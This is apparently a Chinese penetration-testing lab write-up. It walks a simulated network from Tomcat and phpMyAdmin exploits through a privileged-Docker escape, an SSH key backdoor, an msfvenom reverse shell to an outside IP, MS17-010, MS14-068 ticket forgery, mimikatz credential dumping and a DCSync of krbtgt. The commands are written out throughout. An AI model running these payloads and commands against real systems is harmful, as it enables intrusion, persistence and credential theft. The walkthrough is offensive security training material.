电脑终于有内存了.jpg
环境配置
这次配备了192.168.52.0
的VMnet2
网卡
一共有三台机子:
1 | web机:ubuntu 密码:ubuntu |
开打
还是先用fscan扫一下信息:
1 | # ./fscan -h 192.168.227.130 -p 1-65535 |
可以看到这几个端口都是有现成poc的:
1 | 2002的tomcat服务有put的getsell和cve-2017-12615 |
tomcat
先挑tomcat服务来打,poc.py:
1 | import requests |
冰蝎连接,密码为rebeyond
可以看到这是一个docker环境:
1 | JAVA_HOME=/docker-java-home/jre |
这里接着看其他服务的攻击方式,后续操作先按下不表
phpmyadmin
fscan很明显能够扫出:cve-2018-12613-file-inclusion
poc如下:
1 | http://xxxx.com/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd |
此时可以先写shell,再利用该漏洞包含,利用步骤如下:
- 先执行sql语句
SELECT "<?php phpinfo();?>"
- 查看并记录自己此时的
SESSION
,包含/tmp/sess_xxx
,出现phpinfo后得到web路径
此处的session可以在cookie获取:
1 | JSESSIONID=DF0F6C79CA3DC7FE1FDDE457871CC150; phpMyAdmin=34050459664789a8f2ffe78a87f62f20; pma_lang=zh_CN |
就是phpMyAdmin那一栏
- 再写入webshell
此时我们重新写一个webshell:
1 | select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[1]);?>')?>" |
成功得到www-data
用户shell,准备后续继续利用。
struts2
使用liqunkit进行检测:
成功利用
后续上传不了webshell,遂放弃
docker逃逸
https://xz.aliyun.com/t/12495?time__1311=GqGxRQq7qeuDlrzQ0%3DGO7D87QPY53G8Qm7eD#toc-0
首先判断是否为docker环境,tomcat处我们已经判断出来是docker环境了:
查找.dockerenv
1 | ls -alh /.dockerenv |
可以看到phpmyadmin也是docker环境
接下来看是否为特权模式
1 | cat /proc/1/status | grep Cap |
其中phpmyadmin的为:
1 | CapInh: 00000000a80425fb |
tomcat的为:
1 | CapInh: 0000003fffffffff |
因此当执行
cat /proc/1/status | grep Cap
查询对应出来的值为0000003fffffffff
那么就有可能是特权容器,可尝试逃逸
可以看到tomcat的有可能是特权容器,可以尝试在tomcat处逃逸
1 | fdisk -l |
查看磁盘文件后可以得出磁盘文件名为/dev/sda1
,对其进行挂载:
1 | cd /tmp |
挂载成功
挂载好后可以对文件进行操作,但是不能做别的事情。此时可以想着去添加一个ssh或者是修改/etc/passwd
和/etc/shadow
了(root权限的shell挂载之后也是root权限的文件操作
由于添加ssh的操作比较麻烦,这里选择添加/etc/passwd
和/etc/shodow
选择用户:
1 | err0r:x:1001:1001:,,,:/home/err0r:/bin/bash |
1 | err0r:$y$j9T$GDO9EouEF9MskEc11Yh3w/$lg3g6aIPqMzJDE8idVaGLq6SKEtpoyzQUINQjQ03DL/:20039:0:99999:7::: |
并且添加:
1 | echo "err0r:x:1001:1001:,,,:/home/err0r:/bin/bash" >> test/etc/passwd |
1 | echo 'err0r:$y$j9T$GDO9EouEF9MskEc11Yh3w/$lg3g6aIPqMzJDE8idVaGLq6SKEtpoyzQUINQjQ03DL/:20039:0:99999:7:::' >> test/etc/shadow |
此时尝试利用ssh登录即可,哎哟,这里还是失败了。只能覆盖ssh的key了:
1 | ssh-keygen -f backdoor |
直接狂按enter
,会生成没有密码的keygen,再覆盖/home/ubuntu/.ssh/authorized_keys
1 | cp -avx test/home/ubuntu/.ssh/id_rsa.pub test/home/ubuntu/.ssh/authorized_keys # -avx是将权限也一起复制 |
接下来可以使用自己的私钥登录宿主机
登录成功后可以看到用户是ubuntu,权限不是root,接下来考虑提权到root
查看/etc/sudoers
1 | /tmp/ >cat test/etc/sudoers |
当然其实也可以直接爆破hash:
得到密码为ubuntu
后就可以进入root了:
1 | sudo su |
ifconfig发现52网段:
1 | eth0 Link encap:Ethernet HWaddr 00:0c:29:2b:a7:1c |
先弹msf:
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=8.138.127.74 LPORT=2333 -f elf > shell.elf |
下载elf,直接用冰蝎传也行,也可以直接wget
弹msf:
成功
打内网
先上fscan扫描52网段,发现dc扫不出来,最后还是改成了183网段
这次试frp内网穿透
frpc通过远程服务器的6002走socks5,通过6001连接frps
proxychains添加代理:
1 | socks5 127.0.0.1 6002 |
之前扫到了128的win7机能够进行ms17_010,打之:
要走socks5的话需要在msf设置代理:
1 | setg Proxies socks5:127.0.0.1:6002 |
注意由于我们设置了内网穿透,这里的payload要设置成正向连接:
1 | set payload windows/x64/meterpreter/bind_tcp |
收集一波信息:
1 | load kiwi |
1 | douser DEMO Dotest123 |
拿下dc
那接下来要怎么打dc呢?
可以先试试ms17_010
d4m1ts知识库里的域控漏洞:
- 域控漏洞
- CVE-2014-6324(MS14-068)
- CVE-2020-1472(Zerologon)
- CVE-2021-1675/CVE-2021-34527(PrintNightMare)
- CVE-2021-42287&CVE-2021-42278
- CVE-2022-26923(ADCS)
尝试ms14-068
1 | python ms14-068.py -u d4m1ts@org.gm7 -p KsadiN8A.as221 -s S-1-5-21-1878822121-1315641291-3131639831-1108 -d PDC.org.gm7 |
1 | use auxiliary/admin/kerberos/ms14_068_kerberos_checksum |
需要的参数为:
- 用户名
- 域名
- 用户的sid
- 用户密码
我们已经知道一个用户douser
的账号密码了,并且systeminfo
得到的域名是Domain: demo.com
,接下来可以去尝试获得它的SID
1 | whoami /all |
但是我们获得的却是system的sid,权限太高了,我们要手动降一下权限,可以利用msf的steal_token
来偷取进程:
1 | meterpreter > ps |
此时获取到SID:
1 | S-1-5-21-979886063-1111900045-1414766810-1107 |
此时万事俱备:
1 | msf6 auxiliary(admin/kerberos/ms14_068_kerberos_checksum) > set DOMAIN DEMO.COM |
不过它生成的是文件,我们还要想办法把这个文件传到上面。注意别传到system32
里了,执行不了的
1 | upload /root/.msf4/loot/20241112220606_default_192.168.183.130_mit.kerberos.cca_740273.bin C:\\Users\\douser\\Desktop\\20241112220606_default_192.168.183.130_mit.kerberos.cca_740273.bin |
再传个mimikatz
1 | meterpreter > upload /root/mimikatz.exe C:\\Users\\douser\\Desktop\\mimikatz.exe |
用mimikatz打:
1 | mimikatz |
最后验证:
1 | dir \\WIN-ENS2VR5TR3N\c$ |
发现msf的票据不行,还得是exe生成的
1 | mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 |
后面用mimikatz的lsadump抓krbtgt的哈希
1 | lsadump::dcsync /user:krbtgt /domain:demo.com |